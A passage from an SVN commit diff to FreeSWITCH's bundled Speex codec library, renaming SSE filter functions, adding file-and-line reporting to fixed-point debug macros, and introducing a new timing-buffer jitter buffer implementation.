-      "I1 = P1;\n\t"
-      "P1 += 2;\n\t"
-      "R0 = LC0;\n\t"
-      "LC1=R0;\n\t"
-      "R5.L = W[I3--] || R4.L = W[I1++];\n\t"
-      "LOOP mem_accum%= LC1;\n\t"
-      "LOOP_BEGIN mem_accum%=;\n\t"
-         "A0 -= R4.L*R5.L (IS) || R4.L = W[I1++] || R5.L = W[I3--];\n\t"
-      "LOOP_END mem_accum%=;\n\t"
-      "R0 = A0;\n\t"
-      "[P4++] = R0;\n\t"
-   "LOOP_END mem_update%=;\n\t"
-   "L1 = 0;\n\t"
-   : : "m" (yy), "m" (_x), "m" (_y), "m" (den), "m" (N), "m" (ord), "m" (mem)
-   : "A0", "A1", "R0", "R1", "R2", "R3", "R4", "R5", "P0", "P1", "P2", "P3", "P4", "B1", "I1", "I3", "L1", "L3", "memory"
-   );
-
-}
-
-
 #define OVERRIDE_IIR_MEM16
 void iir_mem16(const spx_word16_t *_x, const spx_coef_t *den, spx_word16_t *_y, int N, int ord, spx_mem_t *mem, char *stack)
 {
@@ -612,18 +351,6 @@
 }
 
 
-#define OVERRIDE_FIR_MEM2
-void fir_mem2(const spx_sig_t *x, const spx_coef_t *num, spx_sig_t *y, int N, int ord, spx_mem_t *mem)
-{
-   int i;
-   spx_coef_t den2[12];
-   spx_coef_t *den;
-   den = (spx_coef_t*)((((int)den2)+4)&0xfffffffc);
-   for (i=0;i<10;i++)
-      den[i] = 0;
-   filter_mem2(x, num, den, y, N, ord, mem);
-}
-
 #define OVERRIDE_FIR_MEM16
 void fir_mem16(const spx_word16_t *x, const spx_coef_t *num, spx_word16_t *y, int N, int ord, spx_mem_t *mem, char *stack)
 {

Modified: freeswitch/branches/seven/libs/speex/libspeex/filters_sse.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/filters_sse.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/filters_sse.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,7 +34,7 @@
 
 #include <xmmintrin.h>
 
-void filter_mem2_10(const float *x, const float *_num, const float *_den, float *y, int N, int ord, float *_mem)
+void filter_mem16_10(const float *x, const float *_num, const float *_den, float *y, int N, int ord, float *_mem)
 {
    __m128 num[3], den[3], mem[3];
 
@@ -87,7 +87,7 @@
    _mm_store_ss(_mem+9, mem[2]);
 }
 
-void filter_mem2_8(const float *x, const float *_num, const float *_den, float *y, int N, int ord, float *_mem)
+void filter_mem16_8(const float *x, const float *_num, const float *_den, float *y, int N, int ord, float *_mem)
 {
    __m128 num[2], den[2], mem[2];
 
@@ -130,18 +130,18 @@
 }
 
 
-#define OVERRIDE_FILTER_MEM2
-void filter_mem2(const float *x, const float *_num, const float *_den, float *y, int N, int ord, float *_mem)
+#define OVERRIDE_FILTER_MEM16
+void filter_mem16(const float *x, const float *_num, const float *_den, float *y, int N, int ord, float *_mem, char *stack)
 {
    if(ord==10)
-      filter_mem2_10(x, _num, _den, y, N, ord, _mem);
+      filter_mem16_10(x, _num, _den, y, N, ord, _mem);
    else if (ord==8)
-      filter_mem2_8(x, _num, _den, y, N, ord, _mem);
+      filter_mem16_8(x, _num, _den, y, N, ord, _mem);
 }
 
 
 
-void iir_mem2_10(const float *x, const float *_den, float *y, int N, int ord, float *_mem)
+void iir_mem16_10(const float *x, const float *_den, float *y, int N, int ord, float *_mem)
 {
    __m128 den[3], mem[3];
 
@@ -190,7 +190,7 @@
 }
 
 
-void iir_mem2_8(const float *x, const float *_den, float *y, int N, int ord, float *_mem)
+void iir_mem16_8(const float *x, const float *_den, float *y, int N, int ord, float *_mem)
 {
    __m128 den[2], mem[2];
 
@@ -229,17 +229,17 @@
    _mm_storeu_ps(_mem+4, mem[1]);
 }
 
-#define OVERRIDE_IIR_MEM2
-void iir_mem2(const float *x, const float *_den, float *y, int N, int ord, float *_mem)
+#define OVERRIDE_IIR_MEM16
+void iir_mem16(const float *x, const float *_den, float *y, int N, int ord, float *_mem, char *stack)
 {
    if(ord==10)
-      iir_mem2_10(x, _den, y, N, ord, _mem);
+      iir_mem16_10(x, _den, y, N, ord, _mem);
    else if (ord==8)
-      iir_mem2_8(x, _den, y, N, ord, _mem);
+      iir_mem16_8(x, _den, y, N, ord, _mem);
 }
 
 
-void fir_mem2_10(const float *x, const float *_num, float *y, int N, int ord, float *_mem)
+void fir_mem16_10(const float *x, const float *_num, float *y, int N, int ord, float *_mem)
 {
    __m128 num[3], mem[3];
 
@@ -287,7 +287,7 @@
    _mm_store_ss(_mem+9, mem[2]);
 }
 
-void fir_mem2_8(const float *x, const float *_num, float *y, int N, int ord, float *_mem)
+void fir_mem16_8(const float *x, const float *_num, float *y, int N, int ord, float *_mem)
 {
    __m128 num[2], mem[2];
 
@@ -326,11 +326,11 @@
    _mm_storeu_ps(_mem+4, mem[1]);
 }
 
-#define OVERRIDE_FIR_MEM2
-void fir_mem2(const float *x, const float *_num, float *y, int N, int ord, float *_mem)
+#define OVERRIDE_FIR_MEM16
+void fir_mem16(const float *x, const float *_num, float *y, int N, int ord, float *_mem, char *stack)
 {
    if(ord==10)
-      fir_mem2_10(x, _num, y, N, ord, _mem);
+      fir_mem16_10(x, _num, y, N, ord, _mem);
    else if (ord==8)
-      fir_mem2_8(x, _num, y, N, ord, _mem);
+      fir_mem16_8(x, _num, y, N, ord, _mem);
 }

Modified: freeswitch/branches/seven/libs/speex/libspeex/fixed_debug.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/fixed_debug.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/fixed_debug.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -74,53 +74,57 @@
    return res;
 }
 
-static inline short EXTRACT16(int x)
+#define EXTRACT16(x) _EXTRACT16(x, __FILE__, __LINE__)
+static inline short _EXTRACT16(int x, char *file, int line)
 {
    int res;
    if (!VERIFY_SHORT(x))
    {
-      fprintf (stderr, "EXTRACT16: input is not short: %d\n", x);
+      fprintf (stderr, "EXTRACT16: input is not short: %d in %s: line %d\n", x, file, line);
    }
    res = x;
    spx_mips++;
    return res;
 }
 
-static inline int EXTEND32(int x)
+#define EXTEND32(x) _EXTEND32(x, __FILE__, __LINE__)
+static inline int _EXTEND32(int x, char *file, int line)
 {
    int res;
    if (!VERIFY_SHORT(x))
    {
-      fprintf (stderr, "EXTRACT16: input is not short: %d\n", x);
+      fprintf (stderr, "EXTEND32: input is not short: %d in %s: line %d\n", x, file, line);
    }
    res = x;
    spx_mips++;
    return res;
 }
 
-static inline short SHR16(int a, int shift) 
+#define SHR16(a, shift) _SHR16(a, shift, __FILE__, __LINE__)
+static inline short _SHR16(int a, int shift, char *file, int line) 
 {
    int res;
    if (!VERIFY_SHORT(a) || !VERIFY_SHORT(shift))
    {
-      fprintf (stderr, "SHR16: inputs are not short: %d %d\n", a, shift);
+      fprintf (stderr, "SHR16: inputs are not short: %d >> %d in %s: line %d\n", a, shift, file, line);
    }
    res = a>>shift;
    if (!VERIFY_SHORT(res))
-      fprintf (stderr, "SHR16: output is not short: %d\n", res);
+      fprintf (stderr, "SHR16: output is not short: %d in %s: line %d\n", res, file, line);
    spx_mips++;
    return res;
 }
-static inline short SHL16(int a, int shift) 
+#define SHL16(a, shift) _SHL16(a, shift, __FILE__, __LINE__)
+static inline short _SHL16(int a, int shift, char *file, int line) 
 {
    int res;
    if (!VERIFY_SHORT(a) || !VERIFY_SHORT(shift))
    {
-      fprintf (stderr, "SHR16: inputs are not short: %d %d\n", a, shift);
+      fprintf (stderr, "SHL16: inputs are not short: %d %d in %s: line %d\n", a, shift, file, line);
    }
    res = a<<shift;
    if (!VERIFY_SHORT(res))
-      fprintf (stderr, "SHR16: output is not short: %d\n", res);
+      fprintf (stderr, "SHL16: output is not short: %d in %s: line %d\n", res, file, line);
    spx_mips++;
    return res;
 }
@@ -134,7 +138,9 @@
    }
    res = a>>shift;
    if (!VERIFY_INT(res))
+   {
       fprintf (stderr, "SHR32: output is not int: %d\n", (int)res);
+   }
    spx_mips++;
    return res;
 }
@@ -143,62 +149,71 @@
    long long  res;
    if (!VERIFY_INT(a) || !VERIFY_SHORT(shift))
    {
-      fprintf (stderr, "SHR32: inputs are not int: %d %d\n", (int)a, shift);
+      fprintf (stderr, "SHL32: inputs are not int: %d %d\n", (int)a, shift);
    }
    res = a<<shift;
    if (!VERIFY_INT(res))
-      fprintf (stderr, "SHR32: output is not int: %d\n", (int)res);
+   {
+      fprintf (stderr, "SHL32: output is not int: %d\n", (int)res);
+   }
    spx_mips++;
    return res;
 }
 
+#define PSHR16(a,shift) (SHR16(ADD16((a),((1<<((shift))>>1))),shift))
+#define PSHR32(a,shift) (SHR32(ADD32((a),((EXTEND32(1)<<((shift))>>1))),shift))
+#define VSHR32(a, shift) (((shift)>0) ? SHR32(a, shift) : SHL32(a, -(shift)))
 
-#define PSHR16(a,shift) (SHR16(ADD16(a,(1<<((shift)-1))),shift))
-#define PSHR32(a,shift) (SHR32(ADD32(a,(1<<((shift)-1))),shift))
 #define SATURATE16(x,a) (((x)>(a) ? (a) : (x)<-(a) ? -(a) : (x)))
 #define SATURATE32(x,a) (((x)>(a) ? (a) : (x)<-(a) ? -(a) : (x)))
 
-#define SHR(a,shift) ((a) >> (shift))
-#define SHL(a,shift) ((a) << (shift))
+//#define SHR(a,shift) ((a) >> (shift))
+//#define SHL(a,shift) ((a) << (shift))
 
-static inline short ADD16(int a, int b) 
+#define ADD16(a, b) _ADD16(a, b, __FILE__, __LINE__)
+static inline short _ADD16(int a, int b, char *file, int line) 
 {
    int res;
    if (!VERIFY_SHORT(a) || !VERIFY_SHORT(b))
    {
-      fprintf (stderr, "ADD16: inputs are not short: %d %d\n", a, b);
+      fprintf (stderr, "ADD16: inputs are not short: %d %d in %s: line %d\n", a, b, file, line);
    }
    res = a+b;
    if (!VERIFY_SHORT(res))
-      fprintf (stderr, "ADD16: output is not short: %d+%d=%d\n", a,b,res);
+   {
+      fprintf (stderr, "ADD16: output is not short: %d+%d=%d in %s: line %d\n", a,b,res, file, line);
+   }
    spx_mips++;
    return res;
 }
-static inline short SUB16(int a, int b) 
+
+#define SUB16(a, b) _SUB16(a, b, __FILE__, __LINE__)
+static inline short _SUB16(int a, int b, char *file, int line) 
 {
    int res;
    if (!VERIFY_SHORT(a) || !VERIFY_SHORT(b))
    {
-      fprintf (stderr, "SUB16: inputs are not short: %d %d\n", a, b);
+      fprintf (stderr, "SUB16: inputs are not short: %d %d in %s: line %d\n", a, b, file, line);
    }
    res = a-b;
    if (!VERIFY_SHORT(res))
-      fprintf (stderr, "SUB16: output is not short: %d\n", res);
+      fprintf (stderr, "SUB16: output is not short: %d in %s: line %d\n", res, file, line);
    spx_mips++;
    return res;
 }
 
-static inline int ADD32(long long a, long long b) 
+#define ADD32(a, b) _ADD32(a, b, __FILE__, __LINE__)
+static inline int _ADD32(long long a, long long b, char *file, int line) 
 {
    long long res;
    if (!VERIFY_INT(a) || !VERIFY_INT(b))
    {
-      fprintf (stderr, "ADD32: inputs are not int: %d %d\n", (int)a, (int)b);
+      fprintf (stderr, "ADD32: inputs are not int: %d %d in %s: line %d\n", (int)a, (int)b, file, line);
    }
    res = a+b;
    if (!VERIFY_INT(res))
    {
-      fprintf (stderr, "ADD32: output is not int: %d\n", (int)res);
+      fprintf (stderr, "ADD32: output is not int: %d in %s: line %d\n", (int)res, file, line);
    }
    spx_mips++;
    return res;
@@ -220,8 +235,6 @@
 
 #define ADD64(a,b) (MIPS_INC(a)+(b))
 
-#define PSHR(a,shift) (SHR((a)+(1<<((shift)-1)),shift))
-
 /* result fits in 16 bits */
 static inline short MULT16_16_16(int a, int b) 
 {
@@ -237,47 +250,68 @@
    return res;
 }
 
-static inline int MULT16_16(int a, int b) 
+#define MULT16_16(a, b) _MULT16_16(a, b, __FILE__, __LINE__)
+static inline int _MULT16_16(int a, int b, char *file, int line) 
 {
    long long res;
    if (!VERIFY_SHORT(a) || !VERIFY_SHORT(b))
    {
-      fprintf (stderr, "MULT16_16: inputs are not short: %d %d\n", a, b);
+      fprintf (stderr, "MULT16_16: inputs are not short: %d %d in %s: line %d\n", a, b, file, line);
    }
    res = ((long long)a)*b;
    if (!VERIFY_INT(res))
-      fprintf (stderr, "MULT16_16: output is not int: %d\n", (int)res);
+      fprintf (stderr, "MULT16_16: output is not int: %d in %s: line %d\n", (int)res, file, line);
    spx_mips++;
    return res;
 }
 
 #define MAC16_16(c,a,b)     (spx_mips--,ADD32((c),MULT16_16((a),(b))))
-#define MAC16_16_Q11(c,a,b)     (ADD16((c),EXTRACT16(SHR32(MULT16_16((a),(b)),11))))
-#define MAC16_16_Q13(c,a,b)     (ADD16((c),EXTRACT16(SHR32(MULT16_16((a),(b)),13))))
-#define MAC16_16_P13(c,a,b)     (ADD32((c),SHR(ADD32(4096,MULT16_16((a),(b))),13)))
+#define MAC16_16_Q11(c,a,b)     (EXTRACT16(ADD16((c),EXTRACT16(SHR32(MULT16_16((a),(b)),11)))))
+#define MAC16_16_Q13(c,a,b)     (EXTRACT16(ADD16((c),EXTRACT16(SHR32(MULT16_16((a),(b)),13)))))
+#define MAC16_16_P13(c,a,b)     (EXTRACT16(ADD32((c),SHR32(ADD32(4096,MULT16_16((a),(b))),13))))
 
 
-static inline int MULT16_32_QX(int a, long long b, int Q)
+#define MULT16_32_QX(a, b, Q) _MULT16_32_QX(a, b, Q, __FILE__, __LINE__)
+static inline int _MULT16_32_QX(int a, long long b, int Q, char *file, int line)
 {
    long long res;
    if (!VERIFY_SHORT(a) || !VERIFY_INT(b))
    {
-      fprintf (stderr, "MULT16_32_Q%d: inputs are not short+int: %d %d\n", Q, (int)a, (int)b);
+      fprintf (stderr, "MULT16_32_Q%d: inputs are not short+int: %d %d in %s: line %d\n", Q, (int)a, (int)b, file, line);
    }
+   if (ABS32(b)>=(EXTEND32(1)<<(15+Q)))
+      fprintf (stderr, "MULT16_32_Q%d: second operand too large: %d %d in %s: line %d\n", Q, (int)a, (int)b, file, line);      
    res = (((long long)a)*(long long)b) >> Q;
    if (!VERIFY_INT(res))
-      fprintf (stderr, "MULT16_32_Q%d: output is not int: %d*%d=%d\n", Q, (int)a, (int)b,(int)res);
+      fprintf (stderr, "MULT16_32_Q%d: output is not int: %d*%d=%d in %s: line %d\n", Q, (int)a, (int)b,(int)res, file, line);
    spx_mips+=5;
    return res;
 }
 
+static inline int MULT16_32_PX(int a, long long b, int Q)
+{
+   long long res;
+   if (!VERIFY_SHORT(a) || !VERIFY_INT(b))
+   {
+      fprintf (stderr, "MULT16_32_P%d: inputs are not short+int: %d %d\n", Q, (int)a, (int)b);
+   }
+   if (ABS32(b)>=(EXTEND32(1)<<(15+Q)))
+      fprintf (stderr, "MULT16_32_Q%d: second operand too large: %d %d\n", Q, (int)a, (int)b);      
+   res = ((((long long)a)*(long long)b) + ((EXTEND32(1)<<Q)>>1))>> Q;
+   if (!VERIFY_INT(res))
+      fprintf (stderr, "MULT16_32_P%d: output is not int: %d*%d=%d\n", Q, (int)a, (int)b,(int)res);
+   spx_mips+=5;
+   return res;
+}
 
+
 #define MULT16_32_Q11(a,b) MULT16_32_QX(a,b,11)
 #define MAC16_32_Q11(c,a,b) ADD32((c),MULT16_32_Q11((a),(b)))
 #define MULT16_32_Q12(a,b) MULT16_32_QX(a,b,12)
 #define MULT16_32_Q13(a,b) MULT16_32_QX(a,b,13)
 #define MULT16_32_Q14(a,b) MULT16_32_QX(a,b,14)
 #define MULT16_32_Q15(a,b) MULT16_32_QX(a,b,15)
+#define MULT16_32_P15(a,b) MULT16_32_PX(a,b,15)
 #define MAC16_32_Q15(c,a,b) ADD32((c),MULT16_32_Q15((a),(b)))
 
 static inline int SATURATE(int a, int b)
@@ -341,7 +375,9 @@
    res = ((long long)a)*b;
    res >>= 15;
    if (!VERIFY_SHORT(res))
+   {
       fprintf (stderr, "MULT16_16_Q15: output is not short: %d\n", (int)res);
+   }
    spx_mips+=3;
    return res;
 }
@@ -398,23 +434,24 @@
    return res;
 }
 
+#define DIV32_16(a, b) _DIV32_16(a, b, __FILE__, __LINE__)
 
-static inline int DIV32_16(long long a, long long b) 
+static inline int _DIV32_16(long long a, long long b, char *file, int line) 
 {
    long long res;
    if (b==0)
    {
-      fprintf(stderr, "DIV32_16: divide by zero: %d/%d\n", (int)a, (int)b);
+      fprintf(stderr, "DIV32_16: divide by zero: %d/%d in %s: line %d\n", (int)a, (int)b, file, line);
       return 0;
    }
    if (!VERIFY_INT(a) || !VERIFY_SHORT(b))
    {
-      fprintf (stderr, "DIV32_16: inputs are not int/short: %d %d\n", (int)a, (int)b);
+      fprintf (stderr, "DIV32_16: inputs are not int/short: %d %d in %s: line %d\n", (int)a, (int)b, file, line);
    }
    res = a/b;
    if (!VERIFY_SHORT(res))
    {
-      fprintf (stderr, "DIV32_16: output is not short: %d / %d = %d\n", (int)a,(int)b,(int)res);
+      fprintf (stderr, "DIV32_16: output is not short: %d / %d = %d in %s: line %d\n", (int)a,(int)b,(int)res, file, line);
       if (res>32767)
          res = 32767;
       if (res<-32768)
@@ -423,22 +460,24 @@
    spx_mips+=20;
    return res;
 }
-static inline int DIV32(long long a, long long b) 
+
+#define DIV32(a, b) _DIV32(a, b, __FILE__, __LINE__)
+static inline int _DIV32(long long a, long long b, char *file, int line) 
 {
    long long res;
    if (b==0)
    {
-      fprintf(stderr, "DIV32: divide by zero: %d/%d\n", (int)a, (int)b);
+      fprintf(stderr, "DIV32: divide by zero: %d/%d in %s: line %d\n", (int)a, (int)b, file, line);
       return 0;
    }
 
    if (!VERIFY_INT(a) || !VERIFY_INT(b))
    {
-      fprintf (stderr, "DIV32: inputs are not int/short: %d %d\n", (int)a, (int)b);
+      fprintf (stderr, "DIV32: inputs are not int/short: %d %d in %s: line %d\n", (int)a, (int)b, file, line);
    }
    res = a/b;
    if (!VERIFY_INT(res))
-      fprintf (stderr, "DIV32: output is not int: %d\n", (int)res);
+      fprintf (stderr, "DIV32: output is not int: %d in %s: line %d\n", (int)res, file, line);
    spx_mips+=36;
    return res;
 }

Modified: freeswitch/branches/seven/libs/speex/libspeex/fixed_generic.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/fixed_generic.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/fixed_generic.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -46,14 +46,15 @@
 #define SHL16(a,shift) ((a) << (shift))
 #define SHR32(a,shift) ((a) >> (shift))
 #define SHL32(a,shift) ((a) << (shift))
-#define PSHR16(a,shift) (SHR16((a)+(1<<((shift)-1)),shift))
-#define PSHR32(a,shift) (SHR32((a)+(1<<((shift)-1)),shift))
+#define PSHR16(a,shift) (SHR16((a)+((1<<((shift))>>1)),shift))
+#define PSHR32(a,shift) (SHR32((a)+((EXTEND32(1)<<((shift))>>1)),shift))
+#define VSHR32(a, shift) (((shift)>0) ? SHR32(a, shift) : SHL32(a, -(shift)))
 #define SATURATE16(x,a) (((x)>(a) ? (a) : (x)<-(a) ? -(a) : (x)))
 #define SATURATE32(x,a) (((x)>(a) ? (a) : (x)<-(a) ? -(a) : (x)))
 
 #define SHR(a,shift) ((a) >> (shift))
 #define SHL(a,shift) ((spx_word32_t)(a) << (shift))
-#define PSHR(a,shift) (SHR((a)+(1<<((shift)-1)),shift))
+#define PSHR(a,shift) (SHR((a)+((EXTEND32(1)<<((shift))>>1)),shift))
 #define SATURATE(x,a) (((x)>(a) ? (a) : (x)<-(a) ? -(a) : (x)))
 
 
@@ -77,6 +78,7 @@
 #define MULT16_32_Q11(a,b) ADD32(MULT16_16((a),SHR((b),11)), SHR(MULT16_16((a),((b)&0x000007ff)),11))
 #define MAC16_32_Q11(c,a,b) ADD32(c,ADD32(MULT16_16((a),SHR((b),11)), SHR(MULT16_16((a),((b)&0x000007ff)),11)))
 
+#define MULT16_32_P15(a,b) ADD32(MULT16_16((a),SHR((b),15)), PSHR(MULT16_16((a),((b)&0x00007fff)),15))
 #define MULT16_32_Q15(a,b) ADD32(MULT16_16((a),SHR((b),15)), SHR(MULT16_16((a),((b)&0x00007fff)),15))
 #define MAC16_32_Q15(c,a,b) ADD32(c,ADD32(MULT16_16((a),SHR((b),15)), SHR(MULT16_16((a),((b)&0x00007fff)),15)))
 

Modified: freeswitch/branches/seven/libs/speex/libspeex/jitter.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/jitter.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/jitter.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -32,291 +32,498 @@
 
 */
 
+/*
+TODO:
+- Add short-term estimate
+- Defensive programming
+  + warn when last returned < last desired (begative buffering)
+  + warn if update_delay not called between get() and tick() or is called twice in a row
+- Linked list structure for holding the packets instead of the current fixed-size array
+  + return memory to a pool
+  + allow pre-allocation of the pool
+  + optional max number of elements
+- Statistics
+  + drift
+  + loss
+  + late
+  + jitter
+  + buffering delay
+*/
 #ifdef HAVE_CONFIG_H
 #include "config.h"
 #endif
 
 
-#include "misc.h"
+#include "arch.h"
 #include <speex/speex.h>
 #include <speex/speex_bits.h>
 #include <speex/speex_jitter.h>
-#include <stdio.h>
+#include "os_support.h"
 
-#define LATE_BINS 10
-#define MAX_MARGIN 30                     /**< Number of bins in margin histogram */
+#ifndef NULL
+#define NULL 0
+#endif
 
 #define SPEEX_JITTER_MAX_BUFFER_SIZE 200   /**< Maximum number of packets in jitter buffer */
 
+#define TSUB(a,b) ((spx_int32_t)((a)-(b)))
 
-
 #define GT32(a,b) (((spx_int32_t)((a)-(b)))>0)
 #define GE32(a,b) (((spx_int32_t)((a)-(b)))>=0)
 #define LT32(a,b) (((spx_int32_t)((a)-(b)))<0)
 #define LE32(a,b) (((spx_int32_t)((a)-(b)))<=0)
 
+#define ROUND_DOWN(x, step) ((x)<0 ? ((x)-(step)+1)/(step)*(step) : (x)/(step)*(step)) 
+
+#define MAX_TIMINGS 40
+#define MAX_BUFFERS 3
+#define TOP_DELAY 40
+
+/** Buffer that keeps the time of arrival of the latest packets */
+struct TimingBuffer {
+   int filled;                         /**< Number of entries occupied in "timing" and "counts"*/
+   int curr_count;                     /**< Number of packet timings we got (including those we discarded) */
+   spx_int32_t timing[MAX_TIMINGS];    /**< Sorted list of all timings ("latest" packets first) */
+   spx_int16_t counts[MAX_TIMINGS];    /**< Order the packets were put in (will be used for short-term estimate) */
+};
+
+static void tb_init(struct TimingBuffer *tb)
+{
+   tb->filled = 0;
+   tb->curr_count = 0;
+}
+
+/* Add the timing of a new packet to the TimingBuffer */
+static void tb_add(struct TimingBuffer *tb, spx_int16_t timing)
+{
+   int pos;
+   /* Discard packet that won't make it into the list because they're too early */
+   if (tb->filled >= MAX_TIMINGS && timing >= tb->timing[tb->filled-1])
+   {
+      tb->curr_count++;
+      return;
+   }
+   
+   /* Find where the timing info goes in the sorted list */
+   pos = 0;
+   /* FIXME: Do bisection instead of linear search */
+   while (pos<tb->filled && timing >= tb->timing[pos])
+   {
+      pos++;
+   }
+   
+   speex_assert(pos <= tb->filled && pos < MAX_TIMINGS);
+   
+   /* Shift everything so we can perform the insertion */
+   if (pos < tb->filled)
+   {
+      int move_size = tb->filled-pos;
+      if (tb->filled == MAX_TIMINGS)
+         move_size -= 1;
+      SPEEX_MOVE(&tb->timing[pos+1], &tb->timing[pos], move_size);
+      SPEEX_MOVE(&tb->counts[pos+1], &tb->counts[pos], move_size);
+   }
+   /* Insert */
+   tb->timing[pos] = timing;
+   tb->counts[pos] = tb->curr_count;
+   
+   tb->curr_count++;
+   if (tb->filled<MAX_TIMINGS)
+      tb->filled++;
+}
+
+
+
 /** Jitter buffer structure */
 struct JitterBuffer_ {
-   spx_uint32_t pointer_timestamp;                                        /**< Timestamp of what we will *get* next */
-   spx_uint32_t current_timestamp;                                        /**< Timestamp of the local clock (what we will *play* next) */
+   spx_uint32_t pointer_timestamp;                             /**< Timestamp of what we will *get* next */
+   spx_uint32_t last_returned_timestamp;                       /**< Useful for getting the next packet with the same timestamp (for fragmented media) */
+   spx_uint32_t next_stop;                                     /**< Estimated time the next get() will be called */
+   
+   spx_int32_t buffered;                                       /**< Amount of data we think is still buffered by the application (timestamp units)*/
+   
+   JitterBufferPacket packets[SPEEX_JITTER_MAX_BUFFER_SIZE];   /**< Packets stored in the buffer */
+   spx_uint32_t arrival[SPEEX_JITTER_MAX_BUFFER_SIZE];         /**< Packet arrival time (0 means it was late, even though it's a valid timestamp) */
+   
+   void (*destroy) (void *);                                   /**< Callback for destroying a packet */
 
-   char *buf[SPEEX_JITTER_MAX_BUFFER_SIZE];                               /**< Buffer of packets (NULL if slot is free) */
-   spx_uint32_t timestamp[SPEEX_JITTER_MAX_BUFFER_SIZE];                  /**< Timestamp of packet                 */
-   int span[SPEEX_JITTER_MAX_BUFFER_SIZE];                                /**< Timestamp of packet                 */
-   int len[SPEEX_JITTER_MAX_BUFFER_SIZE];                                 /**< Number of bytes in packet           */
-
-   int tick_size;                                                         /**< Output granularity                  */
-   int reset_state;                                                       /**< True if state was just reset        */
-   int buffer_margin;                                                     /**< How many frames we want to keep in the buffer (lower bound) */
+   spx_int32_t delay_step;                                     /**< Size of the steps when adjusting buffering (timestamp units) */
+   spx_int32_t concealment_size;                               /**< Size of the packet loss concealment "units" */
+   int reset_state;                                            /**< True if state was just reset        */
+   int buffer_margin;                                          /**< How many frames we want to keep in the buffer (lower bound) */
+   int late_cutoff;                                            /**< How late must a packet be for it not to be considered at all */
+   int interp_requested;                                       /**< An interpolation is requested by speex_jitter_update_delay() */
+   int auto_adjust;                                            /**< Whether to automatically adjust the delay at any time */
    
-   int lost_count;                                                        /**< Number of consecutive lost packets  */
-   float shortterm_margin[MAX_MARGIN];                                    /**< Short term margin histogram         */
-   float longterm_margin[MAX_MARGIN];                                     /**< Long term margin histogram          */
-   float loss_rate;                                                       /**< Average loss rate                   */
+   struct TimingBuffer _tb[MAX_BUFFERS];                       /**< Don't use those directly */
+   struct TimingBuffer *timeBuffers[MAX_BUFFERS];              /**< Storing arrival time of latest frames so we can compute some stats */
+   int window_size;                                            /**< Total window over which the late frames are counted */
+   int subwindow_size;                                         /**< Sub-window size for faster computation  */
+   int max_late_rate;                                          /**< Absolute maximum amount of late packets tolerable (in percent) */
+   int latency_tradeoff;                                       /**< Latency equivalent of losing one percent of packets */
+   int auto_tradeoff;                                          /**< Latency equivalent of losing one percent of packets (automatic default) */
+   
+   int lost_count;                                             /**< Number of consecutive lost packets  */
 };
 
+/** Based on available data, this computes the optimal delay for the jitter buffer. 
+   The optimised function is in timestamp units and is:
+   cost = delay + late_factor*[number of frames that would be late if we used that delay]
+   @param tb Array of buffers
+   @param late_factor Equivalent cost of a late frame (in timestamp units) 
+ */
+static spx_int16_t compute_opt_delay(JitterBuffer *jitter)
+{
+   int i;
+   spx_int16_t opt=0;
+   spx_int32_t best_cost=0x7fffffff;
+   int late = 0;
+   int pos[MAX_BUFFERS];
+   int tot_count;
+   float late_factor;
+   int penalty_taken = 0;
+   int best = 0;
+   int worst = 0;
+   spx_int32_t deltaT;
+   struct TimingBuffer *tb;
+   
+   tb = jitter->_tb;
+   
+   /* Number of packet timings we have received (including those we didn't keep) */
+   tot_count = 0;
+   for (i=0;i<MAX_BUFFERS;i++)
+      tot_count += tb[i].curr_count;
+   if (tot_count==0)
+      return 0;
+   
+   /* Compute cost for one lost packet */
+   if (jitter->latency_tradeoff != 0)
+      late_factor = jitter->latency_tradeoff * 100.0f / tot_count;
+   else
+      late_factor = jitter->auto_tradeoff * jitter->window_size/tot_count;
+   
+   /*fprintf(stderr, "late_factor = %f\n", late_factor);*/
+   for (i=0;i<MAX_BUFFERS;i++)
+      pos[i] = 0;
+   
+   /* Pick the TOP_DELAY "latest" packets (doesn't need to actually be late 
+      for the current settings) */
+   for (i=0;i<TOP_DELAY;i++)
+   {
+      int j;
+      int next=-1;
+      int latest = 32767;
+      /* Pick latest amoung all sub-windows */
+      for (j=0;j<MAX_BUFFERS;j++)
+      {
+         if (pos[j] < tb[j].filled && tb[j].timing[pos[j]] < latest)
+         {
+            next = j;
+            latest = tb[j].timing[pos[j]];
+         }
+      }
+      if (next != -1)
+      {
+         spx_int32_t cost;
+         
+         if (i==0)
+            worst = latest;
+         best = latest;
+         latest = ROUND_DOWN(latest, jitter->delay_step);
+         pos[next]++;
+         
+         /* Actual cost function that tells us how bad using this delay would be */
+         cost = -latest + late_factor*late;
+         /*fprintf(stderr, "cost %d = %d + %f * %d\n", cost, -latest, late_factor, late);*/
+         if (cost < best_cost)
+         {
+            best_cost = cost;
+            opt = latest;
+         }
+      } else {
+         break;
+      }
+      
+      /* For the next timing we will consider, there will be one more late packet to count */
+      late++;
+      /* Two-frame penalty if we're going to increase the amount of late frames (hysteresis) */
+      if (latest >= 0 && !penalty_taken)
+      {
+         penalty_taken = 1;
+         late+=4;
+      }
+   }
+   
+   deltaT = best-worst;
+   /* This is a default "automatic latency tradeoff" when none is provided */
+   jitter->auto_tradeoff = 1 + deltaT/TOP_DELAY;
+   /*fprintf(stderr, "auto_tradeoff = %d (%d %d %d)\n", jitter->auto_tradeoff, best, worst, i);*/
+   
+   /* FIXME: Compute a short-term estimate too and combine with the long-term one */
+   
+   /* Prevents reducing the buffer size when we haven't really had much data */
+   if (tot_count < TOP_DELAY && opt > 0)
+      return 0;
+   return opt;
+}
+
+
 /** Initialise jitter buffer */
-JitterBuffer *jitter_buffer_init(int tick)
+EXPORT JitterBuffer *jitter_buffer_init(int step_size)
 {
